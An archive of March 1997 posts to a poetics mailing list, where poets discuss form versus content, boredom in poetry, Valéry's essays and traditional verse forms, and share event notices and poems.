Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

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590. **Daniel Zimmerman**

Re: Form/Content

Sat 22 Mar 1997

Hi. Having eavesdropped on this thread for a few weeks, I'd like to offer the following: Forms form; form forms--by accretion, by direction, by cascade & interruption [as in embryo: "Eternity is no match for the zygote," Bob Hogg said]. A feedback loop. Freud pointed, in "The Antithetical Sense of Primary Words," to bifurcations, e.g., host/hostile. When not content with the inn's content, host turns bouncer. Otherwise, why reject unsuccessful poems? If only because of their content, change the content. But the form-- extensive from (or at least throughout) and superordinate to content-- resists change more intractably. Otherwise, the inn would assimilate the surly and disruptive guest [losing its form as inn in the process and becoming--what? A drunk tank?]. Not that, on occasion, a gatecrasher can't liven up a party, but until that determination becomes clear, the party metamorphoses from party to polygraph, then either ejects or welcomes the uninvited, then reforms itself as party. If the gatecrasher becomes a guest, the imminent becomes immanent. In his triadic theory of the Parasite, Michel Serres argues the necessity, for communication, of both the presence of the static by which the parasite seeks to disrupt communication between two interlocutors and the need for the interlocutors continually [continuously?] to resist the intrusion, allying themselves to allay the threat. When they stop resisting, communication ends. Does form, parasitizing contents, unify them? Do contents, resisting the imposition, form alliances? "One man's ceiling is another man's floor." Don't you hate it when people finish your sentences for you? Don't you love it when, if they seem about to, you reorient the sentence, leaving them somewhere different from and better than either of your expected destinations? "Because the whole sentence meaning is inherently present in the mind of each person, it is quite possible for the pratibha of the sphota to be grasped by the listener even before the whole sentence has been uttered." --Harold G. Coward, The Sphota Theory of Language. "Farewell, then, Reader, from Montaigne."

Daniel Zimmerman
485 Parsonage Road
Edison, NJ 08837

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591. **KENT JOHNSON**

form is emptiness

Sat 22 Mar 1997

Much of this content/form discussion has been fascinating, very educating, and it's a relief to see that a consensus seems to be "forming" around the idea that the relationship between the two terms is an endless paradox with no hope of resolution. What would we do, actually, if we figured it all out? What poems would be left to write? I for one sure hope that there is much more to this "problem" than an intellectual puzzle to be assembled, as if the form/content conundrum were some kind of "dream of a final theory" waiting to come true.

Isn't it more likely that the mystery and intractability of the form/content paradox constitutes the very essence and life-force of everything poetic? That it's the ground out of which everything in the past along with New Formalist sonnets, Oulipian lipograms, sentimental workshop poems and so on has grown and grows? Weeds and bizarre looking vegetables and sweet smelling flowers (and *not* that one poet's weed is another poet's flower, but just that there are simply weeds and flowers and that they wouldn't exist, simply, one without the other).

So the fight about what counts as good, I'd offer, takes place very much on the surface of things, where each gardening club has its distinct patches to sow and hoe. Some clubs plant in neat, unvaried rows and spray their plots with chemicals; others use more unconventional methods that actually *invite* insects and weeds, and the villagers scratch their heads and accuse and whisper and so on. (Some of these experimantal plots wither miserably, but a few give fruit in astounding, mind-boggling ways.) This list is a club that grows weirdly deformed heirlooms, to the point that they don't even qualify for any ofthe contest categories at the State Fair-- and hopefully never will.

In any case, Marjorie Perloff (who, we might remember, started allthis talk) mentioned in a second or third post Duchamp's urinal: "(He) has an incredible sense of"form" in that the how always surpasses the what--in fact there is no "what." Taake for instance the care D took to have the urinal photographed by Stieglitz in front of the Marsden Hartley painting so that the inverted "fountain" matches the shape in Hartley with the Buddha. It's so brillliant and that's how we almost always see "Fountain." So what is "content" here outside form?"

Wasn't Duchamp's urinal one of those great irrigation spouts shooting content all over the planted field of form? (and reverse the syntax.)

And apropos Marjorie's above example, it's interesting that one of the most cherished aphorisms of Buddhism is this (from the Heart Sutra):

> *Form is emptiness, emptiness is form.*

I might be wrong, but doesn't Buddhism propose here that there is something at bottom that is beyond "figuring out" in the usual way? And can't one attempt to fully set one's practice as an artist within this mystery? Not to figure it out but to make the mystery even more bewildering, wild, and strange. Or as Nick Piombino put it yesterday, to bring forth how "It is not form per se, or content per se, that interests, confronts and so much effects us poets, but the fact that we can't help but be astonished at how the boundaries between the two are becoming (s=i=c) so blurred." Thanks, Nick. You've written twice, I think, and offered everyone a lesson in a few sentences.

A personal anecdote: I studied with Samu Sunim, a Korean teacher at the Zen Buddhist Temple Ann Arbor back in 88 and 89. During what I had taken to be an informal meeting with him he suddenly shouted and gestured in a thrusting way at a poem written by an idiosyncratic Korean monk and old friend of Sunim's (I can't recall his name) who painted and wrote poems with a calligraphy brush tied onto his penis with the hairs of deceased relatives. This artist would--or still does(?)--squat over large sheets of rice-paper and thus create works of powerful and ethereal beauty. The work in question had a line of migrating geese, delicately rendered, though flying vertically upward, beside a line of characters I could not decipher. "Now," Sunim said, "I'd like you to go to this poem and point out its content." I walked over to the poem and put my finger on the cracked glass. "Now," he said, " point to its form." I did so, quite confidently, putting my finger on the same spot. "And now," he said, "point to your own original nature." Though by Zen terms this challenge was quite conventional, my inability to answer impressively inthe manner of an avant-garde poet in-the-know has been haunting me since.

Here's a question: Isn't this list space also a particular form, in *essence* no different from a sonnet or a villanelle? I can't imagine anyone saying it isn't, especially when you consider (even as new as it is) how deeply rooted its rituals and mechanisms are , and how what we say here--both its content and form--is determined by what we are given to speak within. One could ask: is there a content here separate from the form? Prior to it? After it? Where would one separate? There's no way of doing it.

Emptiness is vast, and for a fleeting moment (before the
inevitable asteroid hits to irreversibly erase everything we
have done) we assume its form and sit down to write.

Kent

↑ Index

592. Charles Alexander
some events
Sat 22 Mar 1997

Some of these upcoming events I've mentioned before, but I'll summarize here once again.

I know it's very late notice, but if anyone's in the Tucson area tomorrow, in the Chax Press studio we're having a reading by poet Tom Mandel at 7:30 pm (101 W. Sixth St., no. 6/ call [redacted] for information). And on Saturday April 12 at 7 pm, a reading by Canadian poets Karen Mac Cormack & Steve McCaffery, with a new book from us by Karen Mac Cormack, at Dinnerware Contemporary Gallery, 135 E. Congress St., in Tucson. This second reading is also something of a celebration of Chax's return to Tucson after a 3-year stay in Minnesota, and a celebration of National Poetry Month. Both events are free. For more of a look at the handmade books we've been making since 1984 in Tucson (and altogether since 1981), come to our open studio as part of our entire warehouse art building's open studio party, Friday, April 12, from 5 until 7 pm, at 101 W. Sixth St. The readings are co-sponsored by POG in Tucson. POG will also sponsor a reading at Dinnerware Gallery on May 17 by David Bromige.

Light blue and the same red with purple makes a change. It shows that there is no mistake. Any pink shows that and very likely it is reasonable.
Gertrude Stein, from "A Substance In A Cushion," in TENDER BUTTONS
Charles Alexander
Chax Press
[redacted]

↑ Index

593. Toni Simon
Re: Granary Books Show Friday 3/21
Sat 22 Mar 1997

In addition to the works mentioned above also presented were Funagainstawake, Harry Reese's monotypes in dialogue with "The Ten Thunderclaps", reprints of The Word Made Flesh by Johanna Drucker and The Book, Spiritual Instrument, the famed collection edited by Jerome Rothenberg and David Guss, a classic in approaching the ethnopoetics of the book; and works in progress, Vulva'a Morphia, by Carolee Schneeman, the beginning stages of Ted Berrigan: An Annotated Checklist (keep your eyes open for the arrival of this one, some choice items will be made available from the Berrigan oevre) and If It Rained

Here, a fascinating mixed media work including video images by Julie Harrison and modular poems by Joe Elliot,also in progress.

Granary Books is fast becoming the most interesting new gallery/bookstore/ showplace for innovative works at the boundaries of all current literary/artistic genres. This is important, because Granary is helping to make happen what I believe to be what has been most missing in contemporary artistic production are the connections, the links between the genres. This, of course, encourages connection between some of the most energetic and productive people in these areas. I've always been fascinated (as have been many others) in the dynamics of the belle epoque, as discussed in The Banquet Years by Shattuck,for example. The interconnections between the arts as seen during that era have led to innovations and artistic "threads" which have continued to date. Check out the Granary at 568 Broadway (corner of Prince) or contact Steve Clay at [redacted]

Nick Piombino

↑ Index

594. henry gould
Re: Form/Content again
Sat 22 Mar 1997

On Thu, 20 Mar 1997 22:35:35 -0800 Marjorie Perloff said:
>diaries. Poetry is what must be reread--can only be reread. And by that
>criterion, a lot that passes for "poetry" at the moment just isn't. It's
>absorbable in a linear way. Five years from now no one will give a damn.
>And so I don't think we need be so generous that we say, oh great, I love
>it all! Let's reach out--and all that bla bla. But "form" can never just
>mean stanza form or generative device. Generative devices can be
>brilliantly used as in Oulipo, Sorrentino, Silliman, Hejinian, etc etc.
>but per se no device is either good or bad.
>
I think this is what Valery meant by the pendulum effect of poetry.
as opposed to prose. - HG

↑ Index

595. henry gould
Re: force mouth content
Sat 22 Mar 1997

On Fri, 21 Mar 1997 11:45:04 -0500 Mark Prejsnar said:
>
>Is there anyone on the list who actually wants to DEFEND the idea that
>form and content are seperate??

They are separate to the extent that we have two words for two different aspects of a composition. Separate to the extent that we have the poetry echo-effect as opposed to the prose absorption-effect. Correlated to the extent that we have a particular "work" of art in front of us. - Henry G.

↑ Index

596. **henry gould**
farm/produce
Sat 22 Mar 1997

Yeah. trouble is with the word: "form". sounds like a kind of envelope, or tax form, a thing you fill out, fill in. "content" too. what the heck. "Please describe the content of MADAME BOVARY, in 25 wrds or less." Whereas what we are calling form is the actuality, the visceral thing itself. The content of a poem is the more formal aspect - the topos, the subject,the directional arrows, the icon, the outline, the set of signals. The farm produces the content. The farm is... the former continent. What ARE the ramifications of incontinence with regard to foam? CONTENT IS FOAM. AND FOAM IS CONTENTMENT. MENTAL FOAM + EARWAX = ODYSSEUS. - Ezra J. Gould Hallelujah

addendum: prose is poetry translated by reality into readable French. Poetry came before Proust - and yet, there would be no poetry without Proust! This is Zeno's paradox writ large and illegible!

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597. **David R. Israel**
Re: Form/Content again
Sat 22 Mar 1997

This today from Henry Gould --

> *I think this is what Valery meant by the pendulum effect of poetry.*
> *as opposed to prose.*

but one of several interesting recent references to Valery's essays. Can someone recommend a volume (in print)? Every so often I hear V. quoted -- and it's inevitably interesting stuff. How is it that everyone's read Valery, yet one doesn't (or I've not) seen his work (except for one stray volume of poems -- not essays) in bookshops? High time to read this dude.

One such old citation of Paul Valery's ideas was from a character in an Anne Beattie novel (believe it or not) -- I mean, the fellow manages to get around. Is there a standard -- or favored -- book?

thanks,
d.i.

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↑ Index

598. **Pritchett,Pat**

Re: Form/Content again

Sat 22 Mar 1997

Ironically, I've always found Valery's prose much more readable than his poetry. His _Collected Works_ is pub. by Princeton UP/Bollingen. _Art of Poetry_, to which Hank alludes, is the place to start.

Patrick Pritchett

From: David R. Israel
To: POETICS
Subject: Re: Form/Content again
Date: Saturday, March 22, 1997 2:18PM

This today from Henry Gould --

> *I think this is what Valery meant by the pendulum effect of poetry.*
> *as opposed to prose.*

but one of several interesting recent references to Valery's essays. Can some-one recommend a volume (in print)? Every so often I hear V. quoted -- and it's inevitably interesting stuff. How is it that everyone's read Valery, yet one doesn't (or I've not) seen his work (except for one stray volume of poems -- not essays) in bookshops? High time to read this dude.

One such old citation of Paul Valery's ideas was from a character in an Anne Beattie novel (believe it or not) -- I mean, the fellow manages to get around. Is there a standard -- or favored -- book?

thanks,
d.i.

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↑ Index

599. **Jordan Davis**
valery
Sat 22 Mar 1997

Bollingen / Princeton did a great 15 vol series of Valery, and almost every volume is worth snapping in two. (Though it may be difficult to care for the plays, and the autobiographical volume Moi.) About seven years ago Princeton reprinted a few volumes of Valery's essays, the best of which volumes were _The Art of Poetry_ and _The Outlook for Intelligence_. Of the non-reprinted [in English] work, _Idee Fixe_ is a wild "novel", a conversation between a narrator whose dialogue sounds very much like Valery's essays, and an intellectual doctor, as the two walk across a beach. The man loved the ocean, there's a description of thinking as attempting to stand on a wet rock. Also unreprinted is _Analects_, a selection from Valery's rather huge and ungodly witty journals.

Before the Boolean, there was a selected Valery from New Directions, and a selected essays titled _Variety_ which has most of the pieces Henry's referred to.

Jordan Davis

↑ Index

600. Alan Jen Sondheim
face-violent-defile-you
Sat 22 Mar 1997

<html> <title>cycle of hidden tiny deaths</title> <body>   maya mama murmur world last message to multitudes i multitudes beg you for the means and the ways i am down on my knees i am praying to nothing i am ending the end of it i am the last dawn i am the last dusk i am the meal toilet maya i am the maya mama murmur i am maya mama murmur world beg you for bread for wine beg you for forgiveness bright-light-maya turn stone toward me turn granite toward me stone marble maya murmur world turn death stone cold angles murmur toward world maya turn marble turn marble down maya mama murmur world last message to multitudes i multitudes beg you for the means and the ways i am down on my knees i am praying to nothing i am ending the end of it i am the last dawn i am the last dusk i am the meal toilet maya i am the maya mama murmur i am maya mama murmur world </body> <html>

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601. Jocelyn Emerson
small corner of the form/content discussion
Sun 23 Mar 1997

I think Herbert in _The Temple_ultimately discards form, a vehicle for this known world only.

In the form/content conversation I wanted to inquire more about the above statement (sorry--I can't find the original posting) as it seems most puzzling to me; is discarding meant to be read as Fish's sense of a self-consuming artifact. Herbert invented more than 2/3rds of the forms in The Temple, and the forms, more than anything, seem to be a method of measuring (making visible.audible) the distance between this world and the next; the struggle of faith vis a vis the always already completed redemption through Christ's sacrafice (for Herbert); more than anythinng, I read H's poems as a prolonged formal investigation into the exact nature of the distance between the self and other (in H's case, Other), a project which his perfection of form is designed to reveal as ultimately impossible. We could map on to Herbert's terms sign/signified, etc--not necessary to read, linguistically, only within his High Anglican context.

Jocelyn Emerson

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602. Peter Jaeger
boredom, poetry, questions
Sun 23 Mar 1997

Can boring poems operate as critique, until a critique of boredom is formulated?

Why do I get bored by poems? But at the same time, why am I most interested in poems that s(t)imulate boredom, making me blank & drain?

If boredom were a commodity, would it be desirable?

And what if a poem is so boring it invites readers to question why they're bored?

Peter Jaeger

↑ Index

603. Alan Jen Sondheim
Re: boredom, poetry, questions
Sun 23 Mar 1997

On Sun, 23 Mar 1997, Peter Jaeger wrote:

> *Can boring poems operate as critique, until a critique of boredom is formulated?*

By whom? For who? Isn't this a question of audience. And how does a poem _operate_? And how does it _operate as_? If it's boring, what would also make it a critique?
>

> Why do I get bored by poems? But at the same time, why am I most
> interested in poems that s(t)imulate boredom, making me blank & drain?

Are these questions autobiographical? What poems are boring to you? Do you require psychoanalytical/psychological answers or do you feel there is a philosophical critique (via your first questions) at work?
>
> If boredom were a commodity, would it be desirable?
>
Again, this seems to pertain to audience. Desirable for whom? In other words? Or do you feel there is a general economy of desire, such that this question can be answered sub specie aeternis?

> And what if a poem is so boring it invites readers to question why
> they're bored?
>
What if? Do you mean is it still boring?

When I was teaching in artschools, watching painting teachers at work, critiques usually ran along the lines of "this isn't working here" (perhaps pointing to a particular section of the canvas) - instead of "this doesn't work for me" (never mind the need to deconstruct "work"). Audience is replaced by universal, taste becomes transcendent, reified into theoretical position.

So these questions would seem, i.e. "poem _is_ boring" to reference your/ our reading; thus a lot of people are bored by Chaucer, depending on demographics/century/habitus/cultural economies, and so forth.

Alan

> *Peter Jaeger*

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ +++++++++++++++++ IMAGES: http://www.cs.unca.edu/~davidson/pix/ TELEPHONE [redacted] CUSEEME: 166.84.250.149 +++++ Editor, BEING ON LINE, Lusitania, 1997

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604. Schuchat Simon
dichotomous or not
Sun 23 Mar 1997

I suppose most of us on this list are not content with form as such, or are we?

↑ Index

605. **David R. Israel**

Re: dichotomous or not

Sun 23 Mar 1997

Schuchat Simon (writing from an avant timezone -- Sun, 23 Mar 1997 19:55:51 +0800) asks:

> *I suppose most of us on this list are not content with form as such, or are we?*

Can you site an instance of what would represent "form as such"? If so, then (as an instance of those "on this list" -- not to say, as "most" thereof) I could try to consider a more considered reply.

Or, I mean: is it that there's a back of other fools who are content with form as such, whereas we -- a cut above -- are discontent with it? But what is it?

Is there anywhere, in any canon, textbook, notebook, any medium, some poem that exemplifies [mere] "form as such"? --

I am, in a word, doubtful.

best,
d.i.

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606. **henry gould**
Re: dichotomous or not
Sun 23 Mar 1997

On Sun, 23 Mar 1997 19:55:51 +0800 Schuchat Simon said:
>I suppose most of us on this list are not content with form as such, or
>are we?

I'm presently working through L. Turco's Book of Forms. And no I'm not a new formalist or an old formalist. I hate formalisms. formalities always make me nervous. Have written a sestina, a villanelle, a roundel, a madrigal, a large ode, a sonnet, four ballades, and a chant royal. The occasion, for me, is mysterious. I feel lucky to have the time/space to be doing this right now. But the impulse behind the individual poems is not the ambition to "do the forms". No, I am not content with the forms. In fact, the impulse for each poem and for the series as a whole (from my blinkered perspective, at least) is the CONTENT. The best way I can put it is: just as in those social formalities which make us nervous, we nevertheless somehow to some faltering extent RISE TO THE OCCASION, so these forms seem to me to be attaching themselves like barnacles to the OCCASION of the general impulse (content, thought) behind them. The fact that I have a lot of practice behind me & can DO the forms is a considerable factor. The fact that (in my blinkered view) the content & the style JUSTIFY the forms - that is, make them actually possible and not workshop run-throughs or antiquated anachronisms - makes it worth doing. Because I find it exciting to do something in the teeth of the zeitgeist (i.e. postmodern barnacle-poems, neo-archaic barnacle-poems, neo-Beat barnacle-poems, neo-fifties formalist barnacle-poems, eterno- experimento barnacle-poems, etc. etc.). Because my philosophy differs from the reigning postmodernist zeitgeist. I will outline my philosophy yet again in Poetics List Henry Posting #1345708, due out in 3 weeks or so. - Henry Ego Et Fries In Arcadia

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607. **Henry**
Henry Philosophy in Small Nutshell
Sun 23 Mar 1997

Modern philosophy began with Descartes, who created the Mind/External Reality dichotomy. Postmodernism, confronted with the 20th century techno- police state-dead universe positivist worldview of the triumphant Modern, countered with this dichotomy: Mind/No External Reality (or its variable: No Mind/No Reality). (see Nietzsche, etc.) Henry thinks postmodernism is a dialectical coin-flip. He goeth back to the pre-modern. Not to the irrational archaic, nor to Heraclitus' dialectical yin-yang of united-opposing forces. He goes to

Heraclitus' philosophical interlocutor: Philo. According to Philo, the opposites in reality are not united in eternal war. They are help apart-together by the supernatural dividing Word, the ineffable which keeps opposites in balance. Cosmos is thus not a dichotomy but a trichotomy: Humankind/Supernatural/Nature. This olden worldview has been a resource for poetry before: for me, a little academic treatise by Sanford Burdick - a study of Milton, called _Dividing Muse_ (Yale U.P., 1985) is a very important little book. Humankind as ANALOGY, as IMAGO DEI, for a transcendent HEART-SPIRIT - the ancient imago displayed very forcefully in the Byzantium exhibit in NY right now at the Met (which I would love to see) - well, it ain't dead yet, ye philosophes. Reality is a text, yes - but Nietzsche/Derrida's only chapter 13. Wait til you get to Chapt. 24. - Henri Gould de l'Ecole de Providence

provocative p.s.: Where are ye then, ye academic barnacles of postmodern style? And where are ye, archao-huffapuffers of the new primitif? And ye also, fussy neo-formalistes? The physics of postmodernism is irrel- evant, compared to the chemistry-biology of social criticism (see issue one of Tim Woods' NEGATIONS magazine to see what I mean)...let us descend through style into the interstices of the soup kitchen, sistren & brethren... perhaps there our poems will be remembered...in the echo-chamber of real world... (hear dat ghoul a-callin?) (whew, dassa ghost-voice, man)

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608. **David R. Israel**

Re: dichotomous or not

Sun 23 Mar 1997

Sayeth Henry --

> *. . . . Because I find it*
> *exciting to do something in the teeth of the zeitgeist (i.e.*
> *postmodern barnacle-poems, neo-archaic barnacle-poems, neo-Beat*
> *barnacle-poems, neo-fifties formalist barnacle-poems, eterno-*
> *experimento barnacle-poems, etc. etc.). Because my philosophy*
> *differs from the reigning postmodernist zeitgeist. I will outline*
> *my philosophy yet again in Poetics List Henry Posting #1345708, due*
> *out in 3 weeks or so.*

I look forward to that w/ informal anticipation.

Speakin' btw of zeitgeist, this past week's New Yorker carries an amazing bit of chutzpa in the form of a brazen specimen of theory-mongering (clearly satirical, in a way, but successful not merely as satire, but rather, in the theory it alleges to espouse) anent the nature of the zeitgeist / popular-culture-wise. The essay concerns a supposed "Iron Law of Stardom" which boils down to the proposition that a Star (film, music, politics, whatever) experiences proper & true Stardom

for a specific limited term of 3 years (or, in certain, carefully explained exceptions, 6 years -- where there's been a re-make of identity . . .) -- don't have the mag on hand, and I didn't even take note of the author's name (pardon to be so non-attentive) -- but whoever the chap is, he wrote a memorable item.

The final-paragraph theory self-destruct mechanism was, in a word, awesome. I venture to recommend this mass-culture moiety to the august theoreticals here gathered.

best,
d.i.

p.s.: Mr. Gould -- also do look forward to your spectrum-spanning formalities, at whatever-such point as done & available. I went thru a villannelle phase myself, abt. a year ago last summer -- lasted for a couple months, and I really enjoyed it. When one's in that sort of groove, it can be groovy.

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| "...honk if you believe in geese" |
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609. **henry gould**
roundel for D. Israel
Sun 23 Mar 1997

Here's a roundel. It was written after a long meeting of the Poetry Mission, in Cranston, a litte ways from Ted Berrigan's b-place (this old-fashiooned poem will sound like sacrilege to many). The "pioneers' are them forthright compagnards making a non-institutional civic poetry space.

NOCTURNE

_in Pawtuxet, with the "pioneers"

The night air is soft, the trees hold their places,
the meeting's adjourned, we emerge from the loft.
The streetlight illuminates (diverted faces).
The night air is soft.

Words, words, tarred with a treacherous weft...
heart's treason, scars. Posthumous traces
you'll replicate later--when no one's left.

Soul... death will bear your disgraces.
Friend... let this river be--raft.
Soon, soon--the deep gulf will displace us. And
the night air is soft.

- Henry Gould

↑ Index

610. **Henry Gould**
BRIEF 3rd thought
Sun 23 Mar 1997

The weak point of recent harangue, as many will note & should emphasize, is the leninist/totalitarian postscript. Art needs no social justification. It is what it is, and let its makers always thrive in blessed obscurity and irrelevance and innocence & joy & creativity & freedom & originality & idiosyncrasy & poverty & criminality & shame & degradation & happiness & sex too. - Pope Hank da Turd (modernist in disguise?????? wha!!)

↑ Index

611. **Carl Lynden Peters**
Re: boredom, poetry, questions
Sun 23 Mar 1997

> *When I was teaching in artschools, watching painting teachers at work, critiques usually ran along the lines of "this isn't working here" (perhaps pointing to a particular section of the canvas) - instead of "this doesn't work for me" (never mind the need to deconstruct "work"). Audience is replaced by universal, taste becomes transcendent, reified into theoretical position.*

those art teachers, if they were any good, knew what they were saying.

c.

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612. **raea100900**
Marginalization
Sun 23 Mar 1997

Dear Listees,

Has the Segue space discussion of Perelman's Marginalization of Poetry happened yet? If so, I'd like read an account of it. Anybody else?

R.A.

↑ Index

613. **Alan Jen Sondheim**
Re: boredom, poetry, questions
Sun 23 Mar 1997

They weren't.

On Sun, 23 Mar 1997, Carl Lynden Peters wrote:

> *When I was teaching in artschools, watching painting teachers at work, critiques usually ran along the lines of "this isn't working here" (perhaps pointing to a particular section of the canvas) - instead of "this doesn't work for me" (never mind the need to deconstruct "work"). Audience is replaced by universal, taste becomes transcendent, reified into theoretical position.*
>
> *those art teachers, if they were any good, knew what they were saying.*
>
> *c.*

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ +++++++++++++++++ IMAGES: http://www.cs.unca.edu/~davidson/pix/ TELEPHONE [redacted] CUSEEME: 166.84.250.149 +++++ Editor, BEING ON LINE, Lusitania, 1997

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614. **David R. Israel**
Re: roundel for D. Israel
Sun 23 Mar 1997

------- Forwarded Message Follows -------
From: Self <Single-user mode>
To: henry gould <[redacted]>

Subject: Re: roundel for D. Israel
Date: Sun, 23 Mar 1997 13:59:48 -0500

Henry --

"nice ring, Pope" (as a friend of mine remarked, when, as a kid, he had an audience w/ the actual [now, the late] Roman Catholic gent -- or if not an "audience" at least a ceremonialish meeting w/ Catholic kids I guess; the deal being, the Pope extends his hand so the lads can kiss the ruby [prob.?] ring, vestigal from monarchical days)

or, in other words:

thanks for that (the likeable roundel) - the language is of a quality, of a kind that I will admit to favoring, thus feels rather close (in fact) to things I've assayed (if I my presume to so claim) -- will have to (nods to Perloff &c) *re*-read no doubt --

will reciprocate in not-quite-kind (but a formal somethin',-- e.g. one of the mentioned villannelles [I figure, when in doubt, double-letter-it w/ that word]) when I'm back at my other (office) computer, where I've got old MSS stashed away.

> *Words, words, tarred with a treacherous weft...*
> *heart's treason, scars. Posthumous traces*
> *you'll replicate later--when no one's left.*

asks some thought, yes .... the eternal cycle of obscurity / posthumous fame / et alia

how about "elegiac realism" ? -- (a new school ! (?))

here at century-end
anon again a trend
(or if no trend it prove
at least a lyric friend)

d.i.

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|"...sleuthing out all clues, blues & news"|
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↑ Index

615. **David R. Israel**
Re: Marginalization
Sun 23 Mar 1997

> *Has the Segue space discussion of Perelman's Marginalization of Poetry happened yet? If so, I'd like read an account of it. Anybody else?*

yes of course, very much so . . . In particular (or fer instance), what mght the estimable Ann Lauterbach have had to say, I wonder?

d.i.

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616. **Maria Damon**
Re: Astrology poetics/music
Sun 23 Mar 1997

---

though sun ra was heavily space and planet oriented, it was not so much from an interest in astrology (as i understand it) as from a feeling that he and other Black people were not welcome on Earth, and would in fact prefer to live elsewhere (saturn in particular) given the current state of the earth. about a year ago we had a discussion on this list about how gay writers etc often used tropes of otherworldliness (angels, outerspace etc) not so much out of a graviation twoard systems of esoterica as an articulation of otherness and a sense that "somewhere a place for us...". etc., so i hesitated to suggest his name in connection with this thread until pierre posted the below.

At 9:42 AM +0000 3/20/97, Pierre Joris wrote:
>Ira -- listening right now to John Coltrane's INTERSTELLAR SPACE THE 6
>CUTS OF WHICH ARE TITLED: 1. MARS 2. LEO 3.VENUS 4. JUPITER VARIATION 5
>JUPITER 6. SATURN -- the music (Coltrane on tenor & bells, Rashied Ali
>on drums) is instellar, the space, according to the titles, however
>sub-solar. Trane's last recording. -- Pierre
>==========
>pierre joris 6 madison place albany ny 12202
>tel/fax [redacted] email:[redacted]
>http://www.albany.edu/~joris/
>----------
>Everything that allows men to become rooted, through

>values or sentiments, in _one_ time, in _one_ history, in
>_one_ language, is the principle of alienation which
>constitutes man as privileged in so far as he is what he is,
>[...] imprisoning him in contentment with his own reality
>and encouraging him to offer it as an example or impose
>it as a conquering assertion. -- Maurice Blanchot
>==========

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617. **Hugh Steinberg**
Re: boredom, poetry, questions
Sun 23 Mar 1997

>If boredom were a commodity, would it be desirable?
>
Boredom, like talk, is cheap.

Hugh Steinberg

↑ Index

618. **Kathrine Varnes**
Re: dichotomous/Bk of Forms
Sun 23 Mar 1997

On Sun, 23 Mar 1997, henry gould wrote:

> *On Sun, 23 Mar 1997 19:55:51 +0800 Schuchat Simon said:*
> *I suppose most of us on this list are not content with form as such, or are we?*
>
> *I'm presently working through L. Turco's Book of Forms. And no I'm not a new formalist or an old formalist.*

I've done this too, (but about 12 years ago with Turco's old Book of Forms -- the thin red one -- is that the same one you're using or is it the new one, the thick black one?) I think how HG articulated his interest is not that different than how most people who try these things feel, even if they can't say it as well. I wonder if there's a way this discussion obliges that second sentence in counter to the "guilty" confession. Well, I won't do it, and besides I have no idea what "form as such" might be. But I'm curious. Has anyone else on this list worked through this or other books, or other ideas on form, as a way to something else?

Kathrine Varnes

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619. **Louis Cabri**
howard mccord
Sun 23 Mar 1997

Ron Silliman has on another listserve mentioned Howard McCord--a forgotten poet of the times, for Ron, and I'm sure lots, but hopefully not all, of us.

Invoking McCord's name here might interestingly allow a perception to form in outline--in the stars, if you like--of what until now might appear on this listerve as just a nameless pattern (i.e., the pattern itself is nameless) of subjects/posts in listserve-space to do with astrology, angelology, form/content (and the history of), lists like this one I'm writing and the one we're on, Spicer and Duncan and Olson on wisdom, and institutional versus community memory and praxis.

Last year I picked up, in Calgary, secondhand, a 1971 Sand Dollar (Berkeley) chapbook by McCord, *Gnomonology: A Handbook of Systems* and gifted it to Fred Wah, figuring, rightly as it turned out, that Fred would know who this interesting-seeming poet is. I would like to hear from others on his work and context--and to pose the question: how might McCord's project be recognizexd today as one of constituting a reading-horizon for a community out of and to which new poetry is written? This question relates directly to the status of "knowledge" in the work, in the community. (In asking this question via McCord of today, the heroic individualism endemic to the New American moment would have to be revised and "community" substituted for "individual" as a constitutive pregiven--or would it.)

Perhaps the title of this post--playing on Howard's last name--should be: "Synthesis in the age of MacDonald's." "Synthesis" as being, of course, something that poetry might propose to do--and that McCord's poetics has a specific approach to, one that is a form of "direct action" where action is verbal.

From my cursory knowledge of McCord, it seems that his "handbook" grows from Olson's well-known etymological seed-injunction to poets to take history as they (should) take themselves, since "history" derives from "'istorin," to find out for oneself. McCord's handbook, then, follows Olson. It's a synthesis of books, maps, worldviews, prioritizing the local grounded, literally, in the land. But "land" turns out to be as much as code-word for context that comprises a reading-horizon. Indexically it's got, as would be expected in Olson's line, a singular *range*-- from Wittgenstein to Sauer, Foucault to Yi-Fu Tuan.

I find the utopic hope thrusting McCord's singular synthesis

forward and outward to be articulated five years later by Ed Sanders, who also belongs, for a time, to this same Olsonian impulse (that itself has a history predating Olson), in his notion of an "investigative poetry," whose chapbook by that name is dedicated to the memory of Olson:

> Investigative poesy is freed from capitalism, churchism, and other totalitarianisms; free from racisms, free from allegiance to napalm-dropping military police states--a poetry adequate to discharge from its verse-grids the undefiled high energy purely-distilled verse-frags, using *every* bardic skill and meter and method of the last 5 or 6 generations, in order to describe *every* aspect (no more secret governments!) of the historical present, while aiding the future, even placing bard-babble once again into a role as shaper of the future. (Ed Sanders, *Investigative Poetry*, City Lights, 1976, p. 11)

The gist and grist of such a poetics stance is encapsulated in the McCord statement: "I take the lyric as an epistemic form."

Knowledge and poetry, knowing and writing, how does that jointure take place where.

This post sent to the list, instead of my harddrive under "doodles."

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620. **henry**

Re: dichotomous/Bk of Forms

Sun 23 Mar 1997

I'm using the old Turco, thin red, which is heavy on obscure Welsh forms. Just finished a Portuguese riff, the "glose". Like an enlarged carol. - HG

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621. **David R. Israel**

Re: boredom, poetry, questions

Sun 23 Mar 1997

> *If boredom were a commodity, would it be desirable?*
>
> *Boredom, like talk, is cheap.*

Boredom & desire are opposites.
Or rather: there's desire & antipathy (w/ boredom at the fulcrum)?

Reverse the rhetoric, invert the formulation:
If desire were a commodity, would it be boring?

One can only commodify needful things (if the need is real, imagined, pre-existent, or insta-manufactured -- those are secondary issues)

I'd say some more abt. this, but hesitate
(for reasons you can perhaps imagine . . .)

;-) d.i.

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622. Maria Damon (Maria Damon)
Re: boredom, poetry, questions
Sun 23 Mar 1997

---

yes indeed.

At 10:59 AM 3/24/97, Pritchett,Pat @Silverplume wrote:
>Maria, I think you're right that boredom often does mask some emotional
>state that's gone willfully unrecognized. But there's another sense in which
>I think writers deliberately attempt to cultivate bordeom as a means with
>which to "break out/into" a fresh line on things. Perhaps cultivate is the
>wrong word. But when boredom comes, it ought not to be eschewed as it can
>lead to a new avenue. Which links to Jordan's remarks about anxiety and
>Cage.
>
>Patrick Pritchett
> ----------
>From: Maria Damon
>To: POETICS
